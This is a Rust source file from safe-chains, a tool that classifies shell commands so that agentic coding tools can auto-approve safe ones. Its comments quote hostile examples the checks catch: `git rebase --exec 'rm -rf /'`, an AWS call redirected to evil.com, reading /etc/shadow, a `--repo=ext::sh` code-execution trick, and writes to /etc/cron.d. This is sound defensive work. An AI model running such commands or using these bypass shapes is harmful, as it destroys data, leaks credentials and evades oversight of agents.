safe-chains 0.217.0

Auto-allow safe bash commands in agentic coding tools
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
mod build;
mod custom;
mod dispatch;
mod docs;
mod policy;
pub(crate) mod types;

use std::collections::HashMap;
use std::sync::LazyLock;

use crate::parse::Token;
use crate::verdict::Verdict;

pub use build::{build_registry, load_toml};
pub(crate) use custom::user_config_level;
pub use dispatch::dispatch_spec;
pub use types::{CommandSpec, OwnedPolicy};

use types::DispatchKind;

type HandlerFn = fn(&[Token]) -> Verdict;

static CMD_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
    LazyLock::new(crate::handlers::custom_cmd_handlers);

static SUB_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> =
    LazyLock::new(crate::handlers::custom_sub_handlers);

static TOML_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(||
    include!(concat!(env!("OUT_DIR"), "/toml_includes.rs"))
);

static CUSTOM_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(|| {
    let mut map = HashMap::new();
    custom::apply_custom(&mut map);
    map
});

pub fn toml_dispatch(tokens: &[Token]) -> Option<Verdict> {
    let cmd = tokens[0].command_name();
    TOML_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
}

/// Looks up the command in the runtime custom registry (project-local
/// `.safe-chains.toml`, then user-level `~/.config/safe-chains.toml`).
/// A match here wins over the built-in hardcoded handlers, which is how
/// an override of `gh` takes effect.
pub fn custom_dispatch(tokens: &[Token]) -> Option<Verdict> {
    let cmd = tokens[0].command_name();
    CUSTOM_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
}

/// The canonical command name `cmd` resolves to via the registry's alias map (`gcat` → `cat`,
/// `glink` → `ln`). Returns `cmd` unchanged when it is already canonical or unknown, so callers
/// can canonicalize unconditionally. This is what lets the engine's path-gate dispatch reach an
/// aliased invocation: without it, `gcat /etc/shadow` misses every resolver and falls through to
/// the (ungated) legacy classifier. Custom registry first (an override may rename), then TOML.
pub fn canonical_name(cmd: &str) -> &str {
    CUSTOM_REGISTRY
        .get(cmd)
        .or_else(|| TOML_REGISTRY.get(cmd))
        .map_or(cmd, |spec| spec.name.as_str())
}

/// The command's own declared path-argument gate (`[command.path_gate]`), if any — consulted by
/// `pathgate::should_deny` when a command isn't in `pathgates.toml`, so a path-bearing flag gates
/// from the command's own definition. `cmd` is already canonicalized by the caller.
pub(crate) fn command_path_gate(cmd: &str) -> Option<&'static crate::pathgate::RoleSpec> {
    CUSTOM_REGISTRY
        .get(cmd)
        .or_else(|| TOML_REGISTRY.get(cmd))
        .and_then(|spec| spec.path_gate.as_ref())
}

/// The command's declarative facet behavior (`[command.behavior]`), if any — the engine's
/// non-legacy classification path and the ONLY thing `engine::resolve::resolve` consults (the
/// hardcoded `RESOLVERS` table is gone; every facet-classified command declares behavior).
/// `cmd` is already canonicalized by the caller.
pub(crate) fn command_behavior(cmd: &str) -> Option<&'static crate::registry::types::BehaviorSpec> {
    CUSTOM_REGISTRY
        .get(cmd)
        .or_else(|| TOML_REGISTRY.get(cmd))
        .and_then(|spec| spec.behavior.as_ref())
}

/// The facet archetypes (`archetypes.toml`) the subcommand `tokens` resolve to — the Phase-1
/// `profile = …` classification plus a capability for every present escalating `[[command.sub.flag]]`
/// (`git push` → `[vcs-sync]`; `git push --force` → `[vcs-sync, remote-destroy-irreversible]`). The
/// engine emits a Capability per name and the level algebra takes the max. Descends `Branching`/
/// `Custom` subs to the DEEPEST profile-bearing sub (nested `<resource> <action>`). `None` when no
/// matched sub declares a profile.
pub(crate) fn sub_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
    let cmd = canonical_name(tokens.first()?.command_name());
    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
    let sub = walk_to_profiled_sub(&tokens[1..], &spec.kind)?;
    let mut out = vec![sub.profile.as_deref()?];
    for flag in &sub.flags {
        if flag_escalates(tokens, flag) {
            out.push(flag.classifies.as_str());
        }
    }
    // The profile fixes the TIER; it must not also decide what is ADMISSIBLE. Without this the
    // archetype path bypassed the flag allowlist entirely and any flag rode along on the base
    // profile — `git rebase --exec 'rm -rf /'` classified as an ordinary rebase. `unclassified` is
    // the sanctioned fail-closed marker: it resolves to no archetype, so the engine emits a worst
    // capability and the invocation denies.
    if presents_unlisted_flag(tokens, sub) {
        out.push("unclassified");
    }
    Some(out)
}

/// Whether an invocation admitted by a `first_arg` GLOB carries a flag the family never declared.
///
/// The glob path used to allow on the strength of the first positional alone and never look at the
/// remaining tokens, so `aws kms get-public-key --endpoint-url http://evil.com` classified as an
/// ordinary read while redirecting an authenticated call to an arbitrary host. The verb claim
/// (`get-*` means read) is sound and stays; the flags are what needed a list.
///
/// An UNDECLARED family (both lists empty) keeps the old permissive behavior — the 240-odd AWS
/// service groups cannot be researched at once, and denying them wholesale would break every AWS
/// read. `no_new_unresearched_first_arg_family` in `tests.rs` pins the un-migrated set so the pile
/// cannot grow.
///
/// Non-flag tokens pass: some glob families take positionals (`kubectl get pods`), and the sensitive
/// ones are already caught earlier by `credential_first_arg`.
pub(super) fn glob_presents_unlisted_flag(
    tokens: &[Token],
    skip: usize,
    standalone: &[String],
    valued: &[String],
    loopback_valued: &[String],
) -> bool {
    if standalone.is_empty() && valued.is_empty() && loopback_valued.is_empty() {
        return false;
    }
    let known =
        |f: &str| standalone.iter().any(|a| a == f) || valued.iter().any(|a| a == f);
    for (idx, t) in tokens.iter().enumerate().skip(skip) {
        let s = t.as_str();
        if s == "--" {
            break;
        }
        if !s.starts_with('-') || s == "-" {
            continue;
        }
        let head = s.split_once('=').map_or(s, |(f, _)| f);
        // A loopback-gated flag is admitted only when its VALUE names this machine. `--endpoint-url
        // http://localhost:8000` is a developer talking to their own service; the same flag pointed
        // anywhere else redirects an authenticated request. A missing value denies — the flag is
        // meaningless without one and guessing would be the fail-open direction.
        if loopback_valued.iter().any(|a| a == head) {
            let value = match s.split_once('=') {
                Some((_, v)) => Some(v),
                None => tokens.get(idx + 1).map(Token::as_str),
            };
            if value.is_some_and(crate::netloc::is_loopback) {
                continue;
            }
            return true;
        }
        if known(head) {
            continue;
        }
        if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
            continue;
        }
        return true;
    }
    false
}

/// Whether `tokens` carry a flag the profiled `sub` does not declare. Mirrors the legacy flag walk:
/// `--long` matched whole or as `--long=value`, single-dash tokens split into clustered shorts, `--`
/// ends the flag region. A sub that declares NO flags at all is treated as "not yet enumerated"
/// rather than "nothing permitted", so this tightens only where a list exists — the global
/// enforcement of the empty case is staged separately (see the backfill guard).
fn presents_unlisted_flag(tokens: &[Token], sub: &types::SubSpec) -> bool {
    // A flag declared as an escalating `[[command.sub.flag]]` IS declared — it just carries a
    // capability rather than sitting on the plain allowlist. Omitting it here would deny the very
    // invocations the escalation exists to classify (`npm ci --ignore-scripts`, whose whole point is
    // that its PRESENCE is the safe form).
    let known = |f: &str| {
        sub.allowed_standalone.iter().any(|a| a == f)
            || sub.allowed_valued.iter().any(|a| a == f)
            || sub.flags.iter().any(|d| d.name == f)
            // An output-path flag is declared too — it names the write destination the engine
            // path-gates (`supabase db dump -f dump.sql`), so it is admissible by construction.
            || sub.output_path_flags.iter().any(|a| a == f)
            || sub.destination_flag.as_deref() == Some(f)
    };
    for (idx, t) in tokens.iter().enumerate().skip(1) {
        let s = t.as_str();
        if s == "--" {
            break;
        }
        if !s.starts_with('-') || s == "-" {
            continue;
        }
        let head = s.split_once('=').map_or(s, |(f, _)| f);
        // An endpoint flag is admitted only when it names THIS machine — see the identical rule on
        // the glob path in `glob_presents_unlisted_flag`.
        if sub.loopback_valued.iter().any(|a| a == head) {
            let value = match s.split_once('=') {
                Some((_, v)) => Some(v),
                None => tokens.get(idx + 1).map(Token::as_str),
            };
            if value.is_some_and(crate::netloc::is_loopback) {
                continue;
            }
            return true;
        }
        if known(head) {
            continue;
        }
        // An explicitly declared tolerance keeps the sub open for the shape it names — the
        // established way to say "this surface is genuinely unbounded" (a cloud API's per-service
        // options). Declared in the TOML, so it is reviewable, unlike the silent default it replaces.
        use crate::policy::UnknownTolerance as U;
        let tolerated = if s.starts_with("--") {
            matches!(sub.allowed_unknown, U::Long | U::Both)
        } else {
            matches!(sub.allowed_unknown, U::Short | U::Both)
        };
        if tolerated {
            continue;
        }
        // A single-dash multi-char token may be clustered shorts (`-abc` = `-a -b -c`).
        if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
            continue;
        }
        return true;
    }
    false
}

/// The facet archetypes a flat command's PRESENT top-level classifying flags (`[[command.flag]]`)
/// resolve to — the command-level analog of `sub_archetypes` for a flag-triggered mode (`age -d` →
/// `[decrypt-read]`, `sops --decrypt` → `[decrypt-read]`). `None` when the command declares none or
/// none are present, so `engine::resolve` falls through to the command's ordinary resolution (the
/// bare/encrypt form of a bimodal tool). Uses the same `flag_escalates` predicate as the sub flags.
pub(crate) fn command_flag_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
    let cmd = canonical_name(tokens.first()?.command_name());
    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
    let present: Vec<&'static str> = spec
        .archetype_flags
        .iter()
        .filter(|f| flag_escalates(tokens, f))
        .map(|f| f.classifies.as_str())
        .collect();
    (!present.is_empty()).then_some(present)
}

/// Whether `flag` escalates given `tokens`. A bare flag (no `value_prefix`) escalates on presence; a
/// value-matched flag escalates only when its VALUE starts with the prefix — the space form
/// (`-c core.sshCommand=…`) or the glued form (`--flag=core.sshCommand=…`). Scans the whole line;
/// an escalator counts wherever it sits.
fn flag_escalates(tokens: &[Token], flag: &types::FlagProvenance) -> bool {
    if flag.when_absent {
        // A SAFETY flag whose ABSENCE is the escalation (`npm ci` without `--ignore-scripts`).
        // It must be AFFIRMATIVELY set — `--ignore-scripts=false` / `--no-ignore-scripts` re-ENABLE
        // scripts, so they escalate exactly like the flag being missing (a fail-open otherwise).
        return !flag_is_affirmatively_set(tokens, &flag.name);
    }
    let Some(prefix) = flag.value_prefix.as_deref() else {
        return flag_present(tokens, &flag.name);
    };
    // space form: `NAME VALUE`, VALUE starting with the prefix
    tokens.windows(2).any(|w| w[0].as_str() == flag.name && w[1].as_str().starts_with(prefix))
        // glued form: `NAME=VALUE`, VALUE starting with the prefix
        || tokens.iter().any(|t| {
            t.as_str()
                .strip_prefix(flag.name.as_str())
                .and_then(|r| r.strip_prefix('='))
                .is_some_and(|v| v.starts_with(prefix))
        })
}

/// Whether a boolean flag is AFFIRMATIVELY enabled: bare `--flag`, or `--flag=<truthy>`. A
/// `--flag=false/0/no/off` or a `--no-flag` DISABLES it (returns false), as does absence. Last
/// occurrence wins, the CLI convention. Used by the `when_absent` escalator so a re-enabling spelling
/// can't masquerade as the safety flag being set.
fn flag_is_affirmatively_set(tokens: &[Token], flag: &str) -> bool {
    let neg = format!("--no-{}", flag.trim_start_matches('-'));
    let mut set = false;
    for t in tokens {
        let s = t.as_str();
        if s == flag {
            set = true;
        } else if let Some(v) = s.strip_prefix(flag).and_then(|r| r.strip_prefix('=')) {
            set = !matches!(v.to_ascii_lowercase().as_str(), "false" | "0" | "no" | "off" | "");
        } else if s == neg {
            set = false;
        }
    }
    set
}

fn walk_to_profiled_sub(
    remaining: &[Token],
    kind: &'static DispatchKind,
) -> Option<&'static types::SubSpec> {
    let subs = match kind {
        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
        _ => return None,
    };
    let arg = remaining.first()?;
    let sub = subs.iter().find(|s| s.name == arg.as_str())?;
    // Deepest profiled match wins: a nested action's profile overrides its resource sub's.
    walk_to_profiled_sub(&remaining[1..], &sub.kind).or_else(|| sub.profile.is_some().then_some(sub))
}

/// Like `walk_to_profiled_sub`, but also returns the tokens AFTER the matched sub's name — the
/// operands the engine still needs to inspect (the destination positional, for `network_destination`).
fn walk_to_profiled_sub_rest<'a>(
    remaining: &'a [Token],
    kind: &'static DispatchKind,
) -> Option<(&'static types::SubSpec, &'a [Token])> {
    let subs = match kind {
        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
        _ => return None,
    };
    let arg = remaining.first()?;
    let sub = subs.iter().find(|s| s.name == arg.as_str())?;
    let rest = &remaining[1..];
    walk_to_profiled_sub_rest(rest, &sub.kind).or_else(|| sub.profile.is_some().then_some((sub, rest)))
}

/// For a profiled sub declaring `network_destination`, the first positional after it — the send
/// TARGET (`git push origin` → `origin`; bare `git push` → `None`, the configured default). `None`
/// (outer) when the resolved sub does not classify a destination. The engine maps the token's
/// PROVENANCE onto `locus.provenance` (`resolve::destination_provenance`).
///
/// "First non-`-` token" is a heuristic: a VALUED flag's value sitting before the target
/// (`git push -o $VAR origin`) is read as the destination. That only ever misreads CONSERVATIVELY —
/// a stray value classifies to `literal`/`opaque` (equal-or-stricter than the real `established`
/// target), never looser — so it can over-deny a rare form but never under-approve.
pub(crate) fn sub_destination_token(tokens: &[Token]) -> Option<Option<&str>> {
    let cmd = canonical_name(tokens.first()?.command_name());
    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
    let (sub, rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
    if !sub.network_destination {
        return None;
    }
    // A destination-carrying flag (`git push --repo=<dest>`) OVERRIDES the positional — else a
    // `--repo=ext::sh` RCE would slip past a benign positional (`origin`). Scanned across the whole
    // line since the flag may sit anywhere.
    if let Some(flag) = sub.destination_flag.as_deref()
        && let Some(v) = flag_value(tokens, flag)
    {
        return Some(Some(v));
    }
    Some(rest.iter().map(Token::as_str).find(|t| !t.starts_with('-')))
}

/// A flag's value, but only from the FLAG REGION — tokens after a `--` terminator are positionals,
/// not flags.
///
/// Used where finding a value makes the classification MORE PERMISSIVE, which is where a
/// disagreement with the tool costs something. `presents_unlisted_flag` already stops at `--`, so
/// without this the two layers disagreed: `put-item ... -- --endpoint-url http://localhost:8000`
/// passed admission (the walk never saw the flag) AND localized (the value lookup did), classifying
/// a call to the real service as a write to this machine.
///
/// The restrictive lookups deliberately do NOT use this. For `output_path_flags`, finding a path
/// ADDS a path-gated write capability, so scanning past `--` errs toward more gating; switching
/// them here would relax them. Each direction fails closed, which is why the asymmetry stands.
fn flag_value_in_flag_region<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
    let end = tokens.iter().position(|t| t.as_str() == "--").unwrap_or(tokens.len());
    flag_value(&tokens[..end], flag)
}

/// A flag's value, glued (`--repo=VALUE`) or space-separated (`--repo VALUE`); `None` if absent.
/// Scans the WHOLE token list — see `flag_value_in_flag_region` for the `--`-aware variant and why
/// only the permissive callers use it.
fn flag_value<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
    if let Some(v) = tokens.iter().find_map(|t| t.as_str().strip_prefix(flag).and_then(|r| r.strip_prefix('='))) {
        return Some(v);
    }
    tokens.windows(2).find(|w| w[0].as_str() == flag).map(|w| w[1].as_str())
}

/// For a profiled `data-export` sub declaring `output_path_flags`, the output-file PATH one of them
/// carries — or `None` when the export streams to stdout (no output flag present). The engine adds a
/// path-gated write capability at this path's locus, so a dump to `/etc/cron.d/job` gates on locus
/// exactly as a redirect there would. `None` (outer) when the resolved sub declares none.
///
/// Values are matched in every spelling the flag admits: `--file=X`, `--file X`, `-f X`, `-f=X`, and
/// the glued short form `-fX` — the last mustn't be a bypass (`-f/etc/cron.d/job` reaching a system
/// path would otherwise drop the write cap and auto-approve). A bare `-f` with no value is a
/// malformed invocation the tool itself rejects, so a `None` there is harmless.
/// Whether this invocation's declared endpoint flag names THIS machine, so `resolve` should clear
/// the facets the destination determines. `false` covers "no endpoint flag", "points elsewhere",
/// and "the sub never opted in".
///
/// Returning `false` for a non-loopback value is what keeps this independent of the admission
/// check: even if `presents_unlisted_flag` were bypassed, the remote facets would still be the ones
/// that classify.
pub(crate) fn sub_loopback_localizes(tokens: &[Token]) -> bool {
    let Some(cmd) = tokens.first().map(|t| canonical_name(t.command_name())) else {
        return false;
    };
    let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
        return false;
    };
    let Some((sub, _rest)) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind) else {
        return false;
    };
    sub.loopback_effect == types::LoopbackEffect::Localizes
        && sub
            .loopback_valued
            .iter()
            .filter_map(|f| flag_value_in_flag_region(tokens, f))
            .any(crate::netloc::is_loopback)
}

pub(crate) fn sub_output_path_token(tokens: &[Token]) -> Option<&str> {
    let cmd = canonical_name(tokens.first()?.command_name());
    let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
    let (sub, _rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
    sub.output_path_flags.iter().find_map(|f| output_flag_value(tokens, f))
}

/// `flag_value`, plus the glued short form `-fVALUE` (a two-char `-x` flag with the value fused on).
/// Kept separate from `flag_value` because a glued short is only unambiguous for the single-letter
/// output flags this classifies (`-f`, `-r`); the destination-flag path (`--repo`) never needs it.
fn output_flag_value<'a>(tokens: &'a [Token], flag: &'a str) -> Option<&'a str> {
    if let Some(v) = flag_value(tokens, flag) {
        return Some(v);
    }
    if flag.len() == 2 && flag.starts_with('-') && !flag.starts_with("--") {
        return tokens
            .iter()
            .find_map(|t| t.as_str().strip_prefix(flag).filter(|r| !r.is_empty()));
    }
    None
}

/// Whether `flag` appears anywhere in `tokens` — bare (`--force`), glued (`--flag=v`), or, for a SHORT
/// single-char flag (`-d`), hidden inside a short CLUSTER (`-da`, `-vd`) for tools that combine short
/// options. A flag is an escalator wherever it sits, so this scans the whole line. The flag ALLOWLIST
/// cluster-expands, so this must too — otherwise a cluster admits the command while the classifier
/// misses the dangerous flag inside it (a classifier/allowlist disagreement; a live bypass for any
/// clustering tool with a classifying short flag).
fn flag_present(tokens: &[Token], flag: &str) -> bool {
    // A `-X` short flag (exactly two chars, leading `-`) can appear in a cluster; `--long` cannot.
    let short_char = (flag.len() == 2 && flag.as_bytes()[0] == b'-').then(|| flag.as_bytes()[1]);
    tokens.iter().any(|t| {
        let s = t.as_str();
        if s == flag || s.strip_prefix(flag).is_some_and(|rest| rest.starts_with('=')) {
            return true;
        }
        // Short cluster `-<letters>` (single dash, not `--`): scan only the boolean-letter run BEFORE
        // any `=value`, so a glued value (`-o=decrypted`) can't spuriously match the flag char.
        matches!(short_char, Some(c)
            if s.len() > 1 && s.as_bytes()[0] == b'-' && s.as_bytes()[1] != b'-'
            && s[1..].split('=').next().is_some_and(|run| run.as_bytes().contains(&c)))
    })
}

pub fn toml_command_names() -> Vec<&'static str> {
    TOML_REGISTRY
        .keys()
        .map(|k| k.as_str())
        .collect()
}

/// Every command's canonical name with its declared `examples_safe` / `examples_denied`
/// — the corpus the engine's never-looser corpus gate runs against.
#[cfg(test)]
pub(crate) fn corpus_examples()
-> Vec<(&'static str, &'static [String], &'static [String])> {
    TOML_REGISTRY
        .iter()
        .map(|(name, spec)| {
            (name.as_str(), spec.examples_safe.as_slice(), spec.examples_denied.as_slice())
        })
        .collect()
}

/// Look up `cmd_name`'s TOML-declared subs (set via `[[command.sub]]`
/// blocks alongside `handler = "..."`) and dispatch the one whose name
/// matches `tokens[1]`. Returns `None` if no sub matched, so the
/// handler can fall through to its fallback grammar (or deny).
pub fn try_sub_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
    let spec = handler_spec(cmd_name)?;
    let DispatchKind::Custom { subs, .. } = &spec.kind else {
        return None;
    };
    let arg = tokens.get(1)?.as_str();
    let sub = subs.iter().find(|s| s.name == arg)?;
    Some(dispatch::dispatch_sub_kind(&tokens[1..], &sub.kind))
}

/// Apply `cmd_name`'s TOML-declared `[command.fallback]` grammar.
/// Returns `None` if no fallback is declared.
pub fn try_fallback_grammar(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
    let spec = handler_spec(cmd_name)?;
    let DispatchKind::Custom { fallback, .. } = &spec.kind else {
        return None;
    };
    let f = fallback.as_ref()?;
    Some(dispatch::dispatch_fallback(tokens, f))
}

/// Dispatch `tokens` against `cmd_name`'s `[[command.matrix]]`
/// blocks. Looks at `tokens[1]` (parent) and `tokens[2]` (action),
/// finds the first matrix whose `parents` contains the parent and
/// whose `actions` map contains the action, then validates
/// `tokens[2..]` against the named policy (and a guard flag if the
/// matrix entry declared one). Returns `None` if no matrix matched —
/// the handler can then fall through to its remaining special cases
/// or deny.
pub fn try_matrix_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
    let spec = handler_spec(cmd_name)?;
    let DispatchKind::Custom { matrices, handler_policies, .. } = &spec.kind else {
        return None;
    };
    let parent = tokens.get(1)?.as_str();
    let action = tokens.get(2)?.as_str();
    for matrix in matrices {
        if !matrix.parents.iter().any(|p| p == parent) {
            continue;
        }
        let Some(action_spec) = matrix.actions.get(action) else { continue; };
        if let Some(long) = action_spec.guard.as_deref()
            && !crate::parse::has_flag(&tokens[2..], action_spec.guard_short.as_deref(), Some(long))
        {
            return Some(Verdict::Denied);
        }
        let Some(policy) = handler_policies.get(&action_spec.policy_key) else {
            return Some(Verdict::Denied);
        };
        return Some(dispatch::dispatch_matrix_action(&tokens[2..], policy, matrix.level));
    }
    None
}

/// Validate `tokens` against `cmd_name`'s named flag policy declared
/// in a `[command.handler_policy.KEY]` block. Returns `false` if no
/// such policy is declared or the tokens fail it. Used by handlers
/// whose dispatch logic genuinely can't move to TOML (e.g. gh's
/// sub × action matrix) but whose per-policy WordSets should live
/// in TOML rather than as Rust `WordSet` constants.
pub fn check_handler_policy(cmd_name: &str, key: &str, tokens: &[Token]) -> bool {
    let Some(spec) = handler_spec(cmd_name) else { return false; };
    let DispatchKind::Custom { handler_policies, .. } = &spec.kind else {
        return false;
    };
    let Some(policy) = handler_policies.get(key) else { return false; };
    dispatch::check_handler_policy_owned(tokens, policy)
}

fn handler_spec(cmd_name: &str) -> Option<&'static CommandSpec> {
    CUSTOM_REGISTRY
        .get(cmd_name)
        .or_else(|| TOML_REGISTRY.get(cmd_name))
}

/// Returns true iff this invocation is tagged eval-safe — meaning its
/// stdout is documented shell-init code that can safely be substituted
/// inside `eval "$(...)"`.
///
/// The walker descends through `DispatchKind::Branching` AND
/// `DispatchKind::Custom` matching subs token-by-token (handler-based
/// commands such as `gh` can have tagged TOML-declared subs even though
/// the handler does the actual dispatch). The leaf is the deepest matched
/// node (where no further sub matches). `eval_safe` is checked only at
/// the leaf — ancestor tags do NOT propagate. After confirming the leaf
/// is tagged, every `-`-prefixed token in the remaining tail must appear
/// in `eval_safe_flags`; positionals are unrestricted.
///
/// Tagged nodes are vetted manually per-command (see SAMPLE.toml). This
/// function does not validate that `tokens` is syntactically allowed —
/// callers must have already passed it through the regular dispatcher.
pub fn is_eval_safe_invocation(tokens: &[Token]) -> bool {
    if tokens.is_empty() {
        return false;
    }
    let cmd = tokens[0].command_name();
    let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
        return false;
    };
    is_eval_safe_for_spec(spec, tokens)
}

/// Spec-local variant used by tests so they can build a `CommandSpec`
/// via `load_toml` and exercise the walker without touching the global
/// `TOML_REGISTRY`.
pub(crate) fn is_eval_safe_for_spec(spec: &CommandSpec, tokens: &[Token]) -> bool {
    if tokens.is_empty() {
        return false;
    }
    walk_to_eval_safe_leaf(
        &tokens[1..],
        &spec.kind,
        spec.eval_safe,
        &spec.eval_safe_flags,
        &spec.eval_safe_flag_values,
        &spec.eval_safe_required_flags,
    )
}

fn walk_to_eval_safe_leaf(
    remaining: &[Token],
    kind: &DispatchKind,
    eval_safe: bool,
    eval_safe_flags: &[String],
    eval_safe_flag_values: &std::collections::HashMap<String, Vec<String>>,
    eval_safe_required_flags: &[String],
) -> bool {
    let subs_opt = match kind {
        DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => Some(subs),
        _ => None,
    };
    if let Some(subs) = subs_opt
        && let Some(arg) = remaining.first()
        && let Some(sub) = subs.iter().find(|s| s.name == arg.as_str())
    {
        return walk_to_eval_safe_leaf(
            &remaining[1..],
            &sub.kind,
            sub.eval_safe,
            &sub.eval_safe_flags,
            &sub.eval_safe_flag_values,
            &sub.eval_safe_required_flags,
        );
    }
    if !eval_safe {
        return false;
    }
    let mut i = 0;
    let mut seen_required = false;
    while i < remaining.len() {
        let s = remaining[i].as_str();
        if !s.starts_with('-') {
            i += 1;
            continue;
        }
        let (bare, eq_value) = match s.split_once('=') {
            Some((k, v)) => (k, Some(v)),
            None => (s, None),
        };
        if !eval_safe_flags.iter().any(|f| f == bare) {
            return false;
        }
        if eval_safe_required_flags.iter().any(|f| f == bare) {
            seen_required = true;
        }
        if let Some(allowed) = eval_safe_flag_values.get(bare) {
            // Valued flag declared in eval_safe_flag_values. The value
            // arrives either as `--flag=VALUE` (eq_value is Some) or as
            // the next token (`--flag VALUE`); either way the walker
            // consumes it because a flag in eval_safe_flag_values is
            // structurally valued.
            //
            // `allowed` empty = explicit-unrestricted: contributor
            // vetted that any bare-literal value preserves shell-init
            // output. Non-empty = value must appear in the allowlist.
            let value: &str = if let Some(v) = eq_value {
                v
            } else if let Some(next) = remaining.get(i + 1) {
                let v = next.as_str();
                i += 1;
                v
            } else {
                return false;
            };
            // Empty value is denied even under the explicit-
            // unrestricted (`= []`) posture: `--flag=` and an empty
            // following token never represent a meaningful tool
            // argument. The bare-literal alphabet check is per-char
            // and vacuously passes empty strings, so the walker
            // has to reject explicitly.
            if value.is_empty() {
                return false;
            }
            if !allowed.is_empty() && !allowed.iter().any(|av| av == value) {
                return false;
            }
        }
        i += 1;
    }
    if !eval_safe_required_flags.is_empty() && !seen_required {
        return false;
    }
    true
}

pub fn toml_command_docs() -> Vec<crate::docs::CommandDoc> {
    TOML_REGISTRY
        .iter()
        .filter(|(key, spec)| *key == &spec.name)
        .map(|(_, spec)| spec.to_command_doc())
        .collect()
}

#[cfg(test)]
mod tests;